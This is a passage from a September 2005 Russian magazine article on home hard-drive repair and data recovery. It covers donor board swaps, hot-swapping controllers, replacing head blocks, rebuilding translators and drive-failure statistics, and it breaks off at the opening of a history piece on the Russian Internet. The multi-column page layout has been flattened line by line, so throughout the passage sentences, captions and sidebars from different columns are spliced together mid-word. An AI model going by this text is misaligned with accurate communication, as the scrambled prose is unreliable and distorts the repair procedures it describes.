ся 1/3 закрывается другой пластинкой, закрученная крышка слегка деформи-
на несколько часов включается фильтр рует гермоблок, поэтому без нее диск
(точное время зависит от его пропуск- может читаться нестабильно, с много-
ной способности и объема аквариума), кратными повторами. Установка крыш-
а затем, перед самым началом работ, ки – это целое дело! Запустив утилиту,
нижняя пластинка удаляется, предо- выводящую скоростную кривую на эк-
ставляя простор рукам. Невероятно де- ран, попеременно подтягиваем бол-
шево, но вполне «стерильно». Во вся- ты, добиваясь наиболее ровного гра-
ком случае намного чище открытой фика чтения. Рисунок 4. Схематичное устройство
типовой чистой комнаты
жилой комнаты. Учитывая непродол- Часы жизни винчестера, вскрытого
жительное время вскрытия гермозоны вне чистой комнаты, сочтены, а время, вать только самые важные данные,
(сделал дело и тут же закрыл), на плас- требующееся для вычитки данных, – установив счетчик повторов чтения
тины успевает осесть не так уж много велико, особенно если используются на значение 3х. То есть сначала чита-
пыли, и у винчестера есть все шансы аппаратно-программные комплексы, ем все, что читается само, и только по-
считать данные до смертельного ис- не поддерживающие режимов DMA/ том – то, что читается с трудом.
хода (рис. 5). ULTRA DMA. Поэтому жесткий диск Вторым козырем серьезных фирм
После выполнения всех операций лучше подключать к компьютеру на- являются только что упомянутые ап-
винчестер следует обязательно за- прямую и в первую очередь вычиты- паратно-программные комплексы.

№9, сентябрь 2005 81


hardware-практикум
«на лету», без выключения компьюте- но (разве что вы специально об этом
ра, что очень удобно. Однако того же попросите). Большинство распростра-
эффекта можно достичь, если подсо- ненных утилит (например, GetDataBack
единить жесткий диск к отдельному от Runtime Software) ведут себя совсем
блоку питания, а перед его выключе- не так. Они многократно перечитывают
нием подать ATA-команду 94h (standby одни и те же сектора, особенно прина-
immediate) (рис. 7). длежащие служебным областям дис-
Технологические команды, при- ка, такие как FAT или MFT, или вооб-
открывающие дверь во внутренний ще аварийно завершают свою работу
мир жесткого диска, передаются либо при встрече с BAD-сектором. В слу-
по ATA-интерфейсу, либо через COM- чае логических разрушений все ОК,
Рисунок 5. Чистая камера терминал. Да-да! На многих моделях но для восстановления жестких дис-
винчестеров имеется интегрирован- ков такой подход непригоден. Можно,
ный COM-порт, подключившись к ко- конечно, написать такую утилиту са-
торому можно контролировать процесс мостоятельно или доработать близ-
инициализации и управлять приводом кий по духу Open Source проект, мож-
(правда, не на всех дисках он распаян, но раздобыть готовую служебку в се-
Рисунок 6. Для жесткого диска каждая
пылинка равносильна метеориту то есть выведен на разъем). Обычно- ти или слить ее с аналогичной моде-
го COM-порта, встроенного в компью- ли винчестера, но… на все это требу-
тер, плюс пары переходников, кото- ется время, а времени всегда не хва-
рые любой радиолюбитель легко смас- тает. Наличие специализированно-
терит самостоятельно, для наших це- го комплекса существенно упрощает
лей вполне достаточно. Еще в аппа- дело. Тем не менее PC-3000 не пана-
ратно-программных комплексах име- цея! Специалист, умеющий ремонти-
ется возможность в любой момент по- ровать жесткие диски, при необходи-
дать RESET, что помогает в случае «за- мости обойдется и без него, а не уме-
цикливания» жесткого диска (рис. 8). ющему он ничем не поможет.
Штатные IDE-контроллеры на это не Из инструментов нам в первую оче-
способны, но что мешает прицепить редь понадобятся отвертки-звездоч-
Рисунок 7. Аппаратно-программный на IDE-шину свою кнопку или просто ки. Для старых винчестеров – номер
комплекс PC-3000, установленный
в компьютер замкнуть пинцетом выводы? 10, для новых – номер 9. При отсутс-
Зачем же тогда люди приобрета- твии звездочек можно воспользовать-
ют аппаратно-программные комплек- ся и обыкновенной плоской отверткой.
сы, отдавая за них ненормальные де- В частности, звездочка-10 соответс-
ньги? (В частности, PC-3000 в полном твует плоской-3. Под звездочку-9 от-
комплекте обойдется в несколько ты- вертку придется затачивать самосто-
сяч долларов). А за поддержку и сер- ятельно. Впрочем, сейчас звездочки
вис! Сам по себе PC-3000 бесполезен уже не проблема и приобрести их мож-
или почти бесполезен. Но к нему при- но в любом техническом магазине.
лагается документация с подробным Остальной инструментарий впол-
описанием методики восстановления не стандартен. Пассатижи, плоскогуб-
различных моделей винчестеров, име- цы, пинцеты… Для перестановки «бли-
Рисунок 8. Жесткий диск, подключенный ется база служебных модулей, к ус- нов» придется собрать специальный
через стандартный ATA-порт
(широкий ленточный кабель) и через лугам которой приходится прибегать, захват, устройство и приемы работы
технологический COM-терминал если родная «служебка» отправляет- с которым наглядно продемонстриро-
с помощью адаптера PC-KALOC, входящего
в комплект поставки PC-3000 ся к праотцам, наконец, в стоимость ваны в уже упомянутом видеоматери-
(узкий ленточный кабель) комплекса входят консультация и обу- але Сергея Яценко.
Наибольшую известность получили чение. К тому же прилагается мощное В процессе ремонта нам придет-
PC-3000 от ACE Lab (www.acelab.ru) программное обеспечение, в частнос- ся заниматься демонтажем микро-
и HDD Repair Tools от BVG Group (www. ти Data Extractor, отличительной чер- схем. Для этого нужен либо строитель-
bvg-group.ru). Что это такое? С «желез- той которого является способность ав- ный фен, либо паяльник плюс фанта-
ной» точки зрения это обыкновенный томатического восстановления транс- зия. Фен обойдется примерно в ~$50,
(даже слегка ущербленный) IDE-кон- лятора (во врезке «Прошивка, инди- но им еще необходимо научиться
троллер, поддерживающий режимы видуальные настройки и адаптивы» пользоваться. Сергей Яценко подго-
PIO и отчасти DMA/UDMA со встроен- мы об этом еще поговорим) плюс про- товил специальный видеоматериал,
ным электронным ключом (как пра- думанный механизм «вычитывания» демонстрирующий технику демонта-
вило, собранном на мощном полевом информации. Если сектор прочитал- жа ПЗУ с помощью паяльной станции
транзисторе) и позволяющий подсо- ся, он заносится в базу и в дальнейшем http://pc3k.rsu.ru/video/video02_WDC_
единять/отсоединять жесткие диски никогда не читается с диска повтор- ROM.avi (13 Мб). Паяльная станция –

82
hardware-практикум
это, конечно, не фен, но принципы ра-
боты с ней схожи. Если фена нет, мож- Устройство жесткого диска контроллер шпиндельного двигателя и зву-
но обойтись паяльником с расплющен- Жесткий диск состоит из гермоблока и пла- ковой катушки, управляющий вращением
ным жалом, лезвием (для демонтажа ты электроники. В гермоблоке расположен пакета диска и позиционированием голо-
планарных микросхем) и медицинской шпиндельный двигатель, вращающий па- вок; канал чтения/записи; микроконтрол-
иглой со сточенным концом (для де- кет из одного или нескольких магнитных лер, являющийся, по сути, «сердцем» вин-
монтажа элементов, установленных дисков, блок магнитных головок (сокра- честера; контроллер диска, отвечающий
в отверстия со сквозной металлизаци- щенно БМГ), ранее управляемый шаговым за обслуживание ATA-интерфейса.
ей). О самом демонтаже можно прочи- двигателем, а теперь устройством под на-
тать в статье «Лудить, паять, кастрю- званием «звуковая катушка» (voice coil),
ли-ведра чиним» (www.computerra.ru/ а также предусилитель коммутатор чте-
offline/1998/251/1400). ния/записи, смонтированный в микросхеме
либо непосредственно на БМГ, либо распо-
Как их ремонтируют ложенный на отдельной плате рядом с ней.
Древние жесткие диски стоили доро- В последнем случае замена коммутатора
го, использовали «рассыпуху» микро- возможна без съема БМГ, что существен-
схем с низкой степенью интеграции но упрощает его ремонт (рис. 9).
и серийные комплектующие, над ко- Плата электроники включает в себя: Рисунок 9. Блок-схема типичного
жесткого диска
торыми еще имело смысл подолгу за-
висать с осциллографом, выискивая ведения каждой модели можно почер- специализированными программными
неисправный элемент. Но затем сте- пнуть из документации, прилагаемой комплексами (лучшим из которых яв-
пень интеграции начала стремитель- к PC-3000 или найти в Интернете. По- ляется Data Extractor, входящий в комп-
но нарастать, производители пере- иски доноров серьезно осложняются лект PC-3000, но также способный ра-
шли на заказные чипы, а цены на вин- тем, что период производства боль- ботать и отдельно от него со штатным
честеры упали ниже арктических хо- шинства винчестеров намного мень- IDE-контроллером).
лодов. Ремонтировать электронику ше их среднего срока существования. Тем не менее никаких экстраор-
теперь не только сложно, но еще и не- Компьютерные магазины постоянно динарных способностей для ремон-
рентабельно. обновляют свой ассортимент и приоб- та не требуется, и он вполне по силам
Основным способом возвраще- рести модель аналогичную той, что вы мастерам средней руки. Отказ элект-
ния работоспособности стала замена купили несколько лет назад, скорее роники это ерунда. Хуже, если испор-
всей платы контроллера целиком. Бе- всего не удастся. Остаются радио-рын- чена часть служебной информации,
рется диск, идентичный модели (до- ки и фирмы, торгующие подержанны- записанной на магнитных пластинах
нор), и плата переставляется на гер- ми комплектующими, но выбор здесь (см. врезку «Прошивка, индивидуаль-
моблок с восстанавливаемыми данны- никакой (рис. 11). ные настройки и адаптивы». Это мо-
ми (акцептор). Исключение составля- Внимание: неродной контроллер жет произойти по разным причинам:
ет мелкий ремонт типа замены пере- может повредить микросхему комму- ошибки в прошивке, сбои питания,
горевшего предохранителя или тран- татора/предусилителя, расположен- отказ электроники, вибрация/удары,
зистора, который можно выполнить ную внутри гермоблока, и разрушить деформация гермоблока и т. д. и т. п.
непосредственно на теле «пациента» служебную информацию, что значи- При этом жесткий диск не входит в го-
(рис. 10). тельно затруднит дальнейший ремонт, товность или на все команды отвечает
Возникает естественный вопрос – поэтому не переставляйте платы, если ошибкой. Некоторые винчестеры авто-
если ремонтники уже давно ничего не уверены в их совместимости! матически переходят в технологичес-
не ремонтируют, а только тасуют пла- Во-вторых, помимо электроники кий режим, предназначенный для за-
ты, зачем же к ним обращаться и пла- плата контроллера несет на своем бор- ливки служебной информации, кото-
тить деньги, когда эту операцию мож- ту ПЗУ, в котором могут быть записа- рая может быть передана либо через
но проделать и самому? Но все не так ны индивидуальные настройки. И с чу- стандартный ATA-интерфейс, либо че-
просто! жой платой винчестер работать прос- рез COM-терминал.
Во-первых, необходимо найти под- то не будет! Тут есть два пути. Если ак- В состав PC-3000 входит большая
ходящего донора. У разных моделей цептор еще не совсем сдох, с него счи- коллекция разнообразных служебных
винчестеров совместимость плат элек- тывается оригинальная прошивка и за- модулей для популярных моделей жес-
троники неодинакова, некоторые тре- ливается на плату донора. В противном тких дисков, а всем зарегистрирован-
буют совпадения всех цифр в номере случае приходится перепаивать непос- ным пользователям предоставляет-
модели, некоторые соглашаются ра- редственно само ПЗУ. ся бесплатный доступ к ftp-серверу,
ботать и с «родственным» контролле- В-третьих, даже если винчестер на котором можно найти практичес-
ром. А некоторые могут не работать «заведется» чужой платой, последо- ки все что угодно. Как вариант можно
даже при полном совпадении всех букв вательность нумерации секторов мо- воспользоваться специализирован-
и цифр, и тогда приходится перебирать жет оказаться нарушена, и файловая ными утилитами, распространяемыми
одного донора за другим, в надежде система превратится в мусор, кото- производителями винчестера, выбрав
найти подходящего. Особенности по- рый придется разгребать руками или режим обновления прошивки. Однако

№9, сентябрь 2005 83


hardware-практикум
копитель «зависает» еще на старте, даже служебную зону. Но и при отка-
отказываясь входить в технологичес- зе одной из шести головок информа-
кий режим. На этот случай существу- ция превращается в труху. Все фай-
ет метод Hot-Swap (горячая замена). лы, размер которых превышает 3 Кб
В нем также участвуют два накопите- (512 * 6), становятся продырявленны-
ля – донор и акцептор, но транспланта- ми. Что делать? Переставлять блок
ция осуществляется в живую под мес- головок! Это очень сложная операция
тным наркозом. Акцептор обесточива- и у начинающих мастеров в половине
ется, с него снимается плата электро- случаев она заканчивается летальным
ники, обнажая гермоблок. Донор под- исходом. Практиковаться на своем ра-
Рисунок 10. Плата электроники, ключается к IDE-шлейфу, на него по- бочем винчестере, который надо вос-
готовая к пересадке
дается питание, затем после процесса становить, категорически недопусти-
инициализации и выдачи готовности, мо! Сначала потренируйтесь на «кош-
отдается ATA-команда Sleep (95h), ос- ках» – жестких дисках разной степе-
танавливающая шпиндельный двига- ни убитости, на которых нет ничего
тель. Все остальные узлы остаются под интересного.
напряжением. Контроллер аккуратно Нам потребуется донор близкой мо-
свинчивается и переставляется на гер- дели. Точное совпадение всех цифр
моблок акцептора. Затем ему подает- модели здесь не обязательно, глав-
ся любая команда для пробуждения ное, чтобы БМГ был аналогичного ти-
(например, команда чтения сектора). па. Некоторые диски паркуют головки
Поскольку контроллер уже был прои- за пределами внешней кромки маг-
нициализирован, обращения к служеб- нитных пластин, некоторые – в спе-
Рисунок 11. Коллекция винчестеров- ной зоне не происходит, и с диска уда- циальной зоне близ центра шпинделя
доноров, используемая при пересадке ется считать всю уцелевшую инфор- (рис. 12). Последний случай самый тя-
контроллеров
мацию. (При использовании штатного желый. Ведь для того чтобы снять го-
IDE-контроллера необходимо забла- ловки, их нужно протащить через всю
говременно отключить SMART в на- поверхность, а допускать контакта го-
стройках BIOS Setup, иначе винчес- ловки с поверхностью ни в коем слу-
тер будет вести SMART-протокол, про- чае нельзя, иначе магнитное покрытие
изводя запись в служебную зону). Тре- будет повреждено!
бования к совместимости плат элект- Вооружившись тонкой полоской
роники – те же самые, что и в случае выгнутого и обезжиренного пласти-
простой перестановки контроллера. ка, аккуратно заводим ее под каж-
В принципе не обязательно перестав- дую головку, так чтобы пластик при-
лять плату донора на акцептор. Мож- поднимал головку над поверхностью,
Рисунок 12. Блок магнитных головок но взять плату акцептора, проинициа- но сам ее не касался и выводим голо-
с микросхемой коммутатора/ лизировать ее на гермоблоке донора, вки за пределы внешний кромки. Что-
предусилителя
а затем вернуть обратно. Такой спо- бы головки не касались и не царапа-
соб даже более предпочтителен, пос- ли друг друга, между ними вставляет-
кольку в этом случае, акцептор будет ся полоска полиэтилена, которую мож-
работать со «своим» ПЗУ. но вырезать из антистатической упа-
Ряд неисправностей требует вскры- ковки жесткого диска. Меняется толь-
тия гермоблока и ювелирного мастерс- ко БМГ. «Родной» магнит звуковой ка-
тва рук. Первое место по частоте от- тушки акцептора остается тем же са-
казов занимает выход из строя од- мым. В зону парковки магнитные голо-
ной или нескольких магнитных голо- вки заводятся аналогичным образом.
вок. Причиной может быть и заводской Остается закрутить винт оси позици-
брак, и пробой электроники, и механи- онера и надеть крышку на гермоблок.
ческое воздействие (например, удар). При включении винчестера наверня-
Рисунок 13. Инструмент для перемещения Если физически головка остается не- ка раздастся жуткий рыдающий звук,
БМГ, изготавливаемый из узкой полоски
пластика (1), обжимаемый на разогретом поврежденной, то одна из поверхнос- а скорость чтения упадает в разы. Это
металлическом стержне (2) тей перестает читаться, и тогда через следствие работы с чужим БМГ, на не-
при этом обновляются далеко не все каждые N секторов, где N – количес- родных адаптивах. Подтягивая вин-
модули и далеко не для всех моделей тво головок, образуется BAD. Некото- ты крышки, можно до некоторой сте-
такие утилиты есть. рые модели имеют 6 головок, некото- пени выровнять график чтения. Дол-
К тому же этот способ восстановле- рые – только одну, тогда при ее отка- го в таком состоянии жесткий диск ра-
ния бесполезен, если в служебной зоне зе диск становится полностью нера- ботать не может, поэтому необходимо
имеются физические дефекты или на- ботоспособным и не может прочитать как можно скорее приступать к вычи-

84
hardware-практикум
тываю поверхности, начиная с наибо- лась микросхема Cirrus Logic с изме-
лее ценных данных (рис. 13). Подроб- ненным составом подложки, со време-
нее об этом читайте в статье Сергея нем образовывала паразитные утеч-
Казанского «Как я переставлял блок ки, и практически все эти винчестеры
головок на Fujitsu MPG3409AH, чтобы вымерли в течение двух лет. Или вот
спасти информацию. (Записки сумас- IBM DTLA (в просторечии называе-
шедшего ремонтника)» – http://onehalf. мый «дятлом») с неудачной конструк-
pisem.net/stat/heads.html. цией разъема гермоблока, вызываю-
Некоторые жесткие диски содер- щей периодический неконтакт и как
жат только одну магнитную головку, следствие – преждевременный обрыв
и в случае ее отказа выгоднее пере- операции записи. Часть сектора запи-
ставлять сам магнитный «блин», как сана, часть – нет. В результате на дис-
это показано в уже упомянутом виде- ке образуются виртуальные BAD-сек-
оматериале Сергея Яценко. тора (контрольная сумма не совпада-
Также приходится сталкиваться ет, но физических дефектов нет), ко-
Рисунок 14. Звуковая катушка
с «залипанием» магнитных головок, торые можно (в принципе) прочитать,
в прямом смысле слова прилипших DOSvers / TechDoc / Barracuda4.html но нельзя восстановить (данные не до-
к поверхности за счет сил межмоле- (только для зарегистрированных поль- писаны). У меня было три дятла. Один
кулярного притяжения. Некоторые ис- зователей PC-3000). сдох в течение первых двух меся-
точники рекомендуют в этом случае цев, но был успешно отремонтирован
просто крутануть диск в горизонталь- Какой диск выбрать? и заброшен на полку как враг народа.
ном направлении, но польза от это- Своему винчестеру мы доверяем са- Два других успешно работают до сих
го действия очень сомнительна, а вот мое дорогое, что у нас есть – свои дан- пор. А сколько дисков полетело у мо-
вред оно может нанести немалый и за- ные. Знакомые меня постоянно спра- их знакомых – не сосчитать! Все реша-
частую непоправимый (например, пов- шивают: какого производителя вы- ет слепая вероятность и, может быть,
редить подвески головки с последую- брать? Какой модели отдать предпоч- даже судьба (у одного винчестера од-
щим фрезированием магнитной повер- тение? Цена не критична. Остальные на карма, у другого – другая). Ну и ка-
хности). Лучше разобрать гермоблок параметры (ну, быть может, за исклю- чество блока питания, отсутствие виб-
и аккуратно приподнять головки с по- чением шума) тоже. Главное – чтобы раций, наконец!
мощью уже знакомого нам куска изог- он не сдох без предупреждений. (Мед- Сбор статистики затруднен еще и
нутого пластика, вернув их в зону пар- ленная смерть, сопровождающаяся потому, что ее просто не откуда взять.
ковки. Подробности – в статье Сергея посторонними звуками типа визга или Абсолютное количество отказов само
Яценко «Восстановление гермобло- шума и размножающимися BAD-сек- по себе еще ни о чем не говорит. Тре-
ка IBM DJNA371350 после падения» – торами не в счет, тут любому понятно, буется учесть распространенность
http://www.acelab.ru/pcTechSupport/ что диск надо менять). Я сам задаю Таблица 1. Статистика отказов жестких
DOSvers/MFGFeatures/IBM/VGPP.html себе тот же вопрос, но… как говорит- дисков по производителям
(только для зарегистрированных поль- ся, «во Вселенной существуют вопро-
зователей PC-3000). сы, на которые нет ответов». У жестких
Еще встречается повреждение дисков нет надежности. Вместо это-
коммутатора/предусилителя или об- го у них гарантийный талон. И точка.
рыв гибкого шлейфа. Если он располо- На сотни тысяч часов наработки на от-
жен непосредственно на БМГ (особен- каз, приводимых в документации, мож-
но в микросхеме бескорпусного испол- но не опираться, поскольку они берут-
нения), то весь БМГ меняется целиком ся с потолка и производитель за них
по вышеописанной методике. не отвечает (а следовало бы…).
Звуковая катушка в силу своей Не бывает «хороших» и «плохих»
Таблица 2. Статистика отказов жестких
конструктивной простоты практически производителей. С каждым брендом дисков по моделям
никогда не отказывает (там просто не- случались свои проколы. Независимо
чему ломаться), но вот выводные про- от производителя в партии из тысячи
вода обломаться могут, однако их лег- дисков от одного до десяти винчесте-
ко припаять (рис. 14). ров возвращаются задолго до исте-
Шпиндельный двигатель очень на- чения гарантийного срока, даже если
дежен и перегорает/замыкает обмот- они позиционируются как серверные
ками только в исключительных слу- модели. Все решает вероятность. Ко-
чаях, а вот клин гидродинамического му-то жить, а кому-то умирать.
подшипника вполне распространен- Правильнее говорить о неудач-
ное явление, и тогда его приходится ных (то есть «падучих») моделях. На-
расклинивать по методике, описанной пример, печально известная серия
в http://www.acelab.ru/pcTechSupport/ Fujitsu MPG, в которой использова-

№9, сентябрь 2005 85


hardware-практикум

Прошивка, индивидуальные партии. Так, например, паспорт диска, опи- мация о замещении сохраняется либо в от-
настройки и адаптивы сывающий его конфигурацию, указывает дельном списке, либо в G-list.
Электроника диска – это только скелет. количество головок, физических секторов Все эти процессы протекают скрыто
Без управляющих микропрограмм она ра- и цилиндров. В процессе инициализации от пользователя. Специальный модуль, на-
ботать не будет! Первые модели винчес- микропроцессор опрашивает коммутатор зываемый транслятором, переводит физи-
теров хранили микропрограммы в ПЗУ, и перечисляет головки. Если их количест- ческие адреса в номера логических блоков
что вызывало естественные неудобства во не совпадает с указанным в паспорте, или виртуальные цилиндры-головки-сек-
и накладывало определенные ограниче- винчестер может «забастовать» и не вой- тора, и внешне нумерация секторов не на-
ния. Теперь же для этой цели использует- ти в готовность. Зачастую производители рушается. Все работает нормально до тех
ся сам жесткий диск! Разработчик резерви- отключают некоторые головки из-за де- пор, пока P/G-list не оказываются разру-
рует некоторый объем и размещает в нем фектов поверхности, неисправностей са- шенными или на гермоблок устанавлива-
весь необходимый код и данные. Инфор- мих головок или по маркетинговым сооб- ется плата с чужими настройками. Если P/
мация организована в виде модулей (сла- ражениям. Как следствие – образуются G-list хранятся во FLASH-ROM (а часто так
бое подобие файловой системы) и управ- внешне очень похожие модели-близнецы, и бывает), файловая система оказывается
ляется специализированной операционной но непосредственная перестановка плат полностью неработоспособной, ведь транс-
системой. В ПЗУ остается лишь базовый невозможна, и паспорт приходится коррек- ляция адресов нарушена! И хотя на секто-
код, своеобразный «фундамент» винчес- тировать, для чего опять-таки понадобится ром уровне все читается нормально, со-
тера. Некоторые производители идут еще PC-3000. Но в принципе подобрать донора вершенно непонятно, какой сектор како-
дальше, убирая из ПЗУ все, кроме первич- с идентичным паспортом вполне возможно му файлу принадлежит.
ного загрузчика. и без коррекции. К счастью, восстановить транслятор
Само ПЗУ может быть расположено как Все зло и коварство происходит от моду- довольно просто, поскольку практически
внутри микроконтроллера, так и на отде- лей (и часто информации, зашитой в ПЗУ), все файловые структуры (да и сами фай-
льной микросхеме. Практически все вин- уникальных для каждого экземпляра винчес- лы) имеют характерные последователь-
честеры имеют FLASH-ROM, но не на всех тера и настраиваемых строго индивидуаль- ности байт (сигнатуры). Для начала нужно
моделях она распаяна. Если FLASH-ROM но. В частности, каждый жесткий диск име- очистить таблицы транслятора (сгенериро-
установлена, то микроконтроллер считы- ет как минимум два списка дефектов – P-list вать пустые P/G-list), в противном случае
вает прошивку из нее, если нет – обраща- (от Primary – первичный) и G-list (от Grown – сектора, помеченные у донора как заме-
ется к своему внутреннему ПЗУ. растущий). В P-list заносятся номера дефек- щенные, не смогут прочитаться на акцепто-
Часть модулей (и информации, нахо- тивных секторов, обнаруженные еще на ста- ре. Различные винчестеры имеют различ-
дящейся в ПЗУ) одинакова для всей серии дии заводского тестирования, а G-list фор- ное число замещенных секторов. В некото-
винчестеров. К ней в первую очередь от- мируется самим жестким диском в процес- рых винчестерах замещенных секторов мо-
носится совокупность управляющих мик- се его эксплуатации. Если запись в сектор жет не быть вообще, на некоторых их коли-
ропрограмм. Эти модули полностью вза- происходит с ошибкой, сбойный сектор пе- чество может доходить до нескольких ты-
имозаменяемы, и один диск свободно мо- реназначается другим сектором, взятым из сяч. Формат P/G-list варьируется от одной
жет работать с модулем другого без каких- резервной области. Некоторые жесткие дис- модели к другой, и для работы с ним лучше
либо последствий. ки поддерживают список «подозрительных всего применять PC-3000. В крайнем слу-
Часть модулей (реже – информации секторов»: если сектор начинает читаться чае – утилиты от производителей винчес-
из ПЗУ) готовится отдельно для каждой не с первого раза, он замещается, а инфор- тера или ATA-команду unassign.

данной модели и условия эксплуата- дителем оказался Samsung (хотя лич- ще восстанавливать: более удач-
ции. SCSI-диски надежнее IDE толь- но у меня против него стойкое преду- ны в восстановлении (проще подоб-
ко потому, что они устанавливаются беждение и вовсе не факт, что малое рать блок головок в случае проблем
на серверах и работают, практически количество отказов не вызвано низкой с ним, практически нет самоповреж-
никогда не выключаясь (а большинс- популярностью таких дисков). дения записи, сравнительно низ-
тво неисправностей как раз и проис- Тем не менее у всех производите- кое количество экстремально слож-
ходит в момент включения/выключе- лей встречаются неудачные модели, ных узлов): Seagate, Samsung, Hitachi-
ния), им неведомо что такое перегрев к тому же, как уже говорилось, источ- IBM(HGST), Fujitsu(2.5"), ну и, может
или «винт в сумке». ник отказов зачастую располагается быть, Toshiba(2.5"), хотя у последней
На сайте фирмы Derstein, занимаю- вне диска. Поэтому вопрос о надеж- есть очень неприятная проблема с про-
щейся восстановлением данных, при- ности правильнее ставить так: «Какой теканием подшипника шпиндельного
водится любопытная статистика за- диск имеет наибольшие шансы на ус- двигателя из-за того, что крышка его
фиксированных отказов (http://www. пешное восстановление?». не приварена, как у других, а прикле-
derstein.ru/cgi-bin/stat.cgi?do=show), ко- За этим я обратился к ведущему ена... Хотя у Maxtor она тоже приклее-
торую я в сокращенном виде привожу инженеру фирмы ACE Lab Сергею Яце- на, но из-за значительно большей тол-
ниже. Одна таблица – по производи- нко, через руки которого прошли тыся- щины и габаритов проблемы с ней не
телям, другая – по моделям (см. таб- чи дисков. возникают. Название компаний я упо-
лицы 1,2). «Ответ на вопрос «какие же дис- рядочил по мере увеличения пробле-
Как видно, самым лучшим произво- ки лучше» в ключе, какие из них про- матичности их дисков...

86
hardware-практикум

Затем необходимо просканировать сравнительно недавно. До этого индивиду- либровать каждый жесткий диск индиви-
весь диск на предмет поиска характерных альные настройки диска сводились к вы- дуально, записывая на него так называе-
сигнатур и загнать их «физические» ад- сокоуровневым наслоениям, никак не пре- мые адаптивные настройки. Вот по этому
реса в список. Разумеется, никакой физи- пятствующим чтению информации на фи- пути производители и пошли.
кой в подлинном смысле этого слова здесь зическом уровне. Перестановка плат мог- Состав и формат адаптивом меняется
и не пахнет! Скажем так: логические адре- ла привести к невозможности работы с дис- от модели к модели. В грубом приближе-
са без переназначенных секторов, но это ком средствами операционной системы, нии сюда входят: ток записи, усиление ка-
слишком долго писать. но данные всегда было можно прочитать нала, профиль эквалайзера, напряжение
Теперь, исследуя служебные структуры посекторно стандартными ATA-командами смещения для каждой головки, таблица
файловой системы (каталоги, MFT), мы оп- или на худой конец на уровне физических коррекции параметров каждой головки для
ределяем номера кластеров подчиненных адресов в технологическом режиме. каждой зоны и т. д. и т. п. Без своих родных
структур. Переводим кластеры в сектора Но плотность информации неуклон- адаптивов жесткий диск просто не будет
и создаем еще один список. В результа- но росла и нормативы допусков ужесточа- работать! Даже если случится чудо и чужие
те у нас получается два списка, между ко- лись, а, значит, усложнялся и удорожался адаптивы все-таки подойдут (а чудес, как
торыми прослеживается четкая корреля- технологический цикл. В промышленных известно, не бывает), информация будет
ция. Первый список как бы «растягивает- условиях невозможно изготовить два аб- считываться очень медленно и с большим
ся» вдоль второго. Другими словами, каж- солютно одинаковых жестких диска. В ха- количеством ошибок. Подобрать адаптивы
дый переназначенный сектор увеличивает рактеристиках аналоговых элементов (ка- нереально, рассчитать их в «домашних» ус-
расхождение между последующими «физи- тушек, резисторов, конденсаторов) неиз- ловиях тоже. Но ведь как-то же эти адапти-
ческими» и логическими адресами на еди- бежно возникает разброс, следствием ко- вы возникают? Чисто теоретически, для за-
ницу. Проделав необходимые математичес- торого становится рассогласование комму- полнения таблицы адаптивов не нужно ни-
кие вычисления, мы сможем рассчитать татора-предусилителя. Но с этим еще как- чего, кроме самого винчестера, и некото-
необходимую поправку и как бы восстано- то можно бороться. Сложнее справиться рые модели жестких дисков даже содержат
вить транслятор. «Как бы», потому что це- с неоднородностью магнитного покрытия, в прошивке специальную программу Self-
левые адреса замещенных секторов ос- влекущего непостоянность параметров Scan, как раз и предназначенную для этих
таются неизвестными, а, значит, в восста- сигнала головки, в зависимости от угла по- целей. Да, она действительно рассчитыва-
навливаемых данных образуются «дыры», ворота позиционера. Таким образом, про- ет адаптивы с «нуля», но… при этом унич-
однако большая часть информации все же изводитель должен либо уменьшить плот- тожает всю содержащуюся на жестком дис-
возвращается из небытия. PC-3000 автома- ность информации до той степени, при ко- ке информацию, что делает ее непригод-
тически восстанавливает транслятор, ис- торой рассогласованиями можно пренеб- ной для наших целей.
пользуя довольно продвинутые алгорит- речь (но в этом случае для достижения той Адаптивы могут храниться как на са-
мы, которые постоянно совершенствуют- же емкости придется устанавливать в диск мом диске в служебной зоне (и тогда сме-
ся. Тем не менее, при большом желании больше пластин, что удорожает конструк- на плат проходит на ура, но не работает Hot
утилиту для восстановления транслятора цию и вызывает свои проблемы), либо Swap), либо в микросхеме FLASH-ROM, ко-
можно написать и самостоятельно. улучшить качество производства (но это торую перед заменой плат следует перепа-
А вот чего ни PC-3000, ни другие ком- настолько нереально, что при современ- ять. Диски без адаптивов встречаются все
плексы не умеют, так это восстанавливать ном уровне развития науки, экономики и реже и реже, можно сказать, что практичес-
адаптивы. Нашествие адаптивов началось техники даже не обсуждается), либо ка- ки вообще не встречаются.

Далее идут диски, которые достав- диски продолжают дохнуть и при Естественно, объективную оценку
ляют массу неприятностей при восста- этом практически невосстанови- дать сложно, но ситуация, по тому, что
новлении, хотя, может, и отказывают мы). Самый действенный способ мы наблюдаем, обстоит так».
незначительно чаще представителей восстановления, но не самый про-
первого списка (этот список также упо- дуктивный – это заморозка. В неко- Заключение
рядочен по нарастанию глючности): торых случаях отмороженный при Мы рассматривали исключительно об-
! Maxtor (очень «порадовали» глюч- -10 С° диск в течение где-то получа- щие вопросы ремонта жестких дисков,
ной записью и нестабильностью го- са начинает отдавать данные... Но и в пошаговую методику диагности-
ловок); этот трюк проходит нечасто. Заме- ки не вдавались. Это обширная тема,
! WDC (крайне сложно подобрать ис- на головок у них крайне затрудне- требующая для каждой модели свое-
правные головки и восстановить на и в случае трех и более голового го подхода и к тому же уже описанная
функциональность служебной зоны диска практически нереальна (вер- в документации на PC-3000, фраг-
в некоторых случаях, плюс у них ста- нее, реальна, но при впечатляющих менты которой доступны и незарегис-
тический транслятор, что приводит трудозатратах). трированным пользователям: http://
к невозможности прочитать данные www.acelab.ru/products/pc/traning.html.
пользователя в случае разрушения Если у кого-то стоят Quantum AS, Так что не будем повторяться.
модулей транслятора и таблицы де- советую скорее от них избавиться. Главное – что ремонт жестких дис-
фектов в служебной зоне); Maxtor и WDC со своими трудностями ков в домашних условиях все-таки
! Quantum (хотя компании уже нет, но справляются с явной неохотой... возможен!

№9, сентябрь 2005 87


ретроспектива

С ЧЕГО НАЧИНАЛСЯ
РОССИЙСКИЙ ИНТЕРНЕТ

АЛЕКСЕЙ КОРШУНОВ
История – это нечто далёкое, что изучается современниками по книжкам в пыльных аудиториях
учебных заведений. Тем необычнее история становления «нашего» сегмента «сети всех сетей» –
она развивалась на наших с вами глазах. Кто не помнит сначала поминутных осторожных
первых шажков в «большую сеть», а потом и многочасовых зависаний на более выгодных
ночных тарифах... За период с 1990 г. по 1999 г. произошло становление не самого малого
сегмента всемирной сети Интернет.

являлись сотрудниками Курчатовско- поддержку российского рынка цен-

1990
Историю русского Интернета мож-
го института. Уже к концу года к сети
были подключены около 30 организа-
ций, среди которых центры российс-
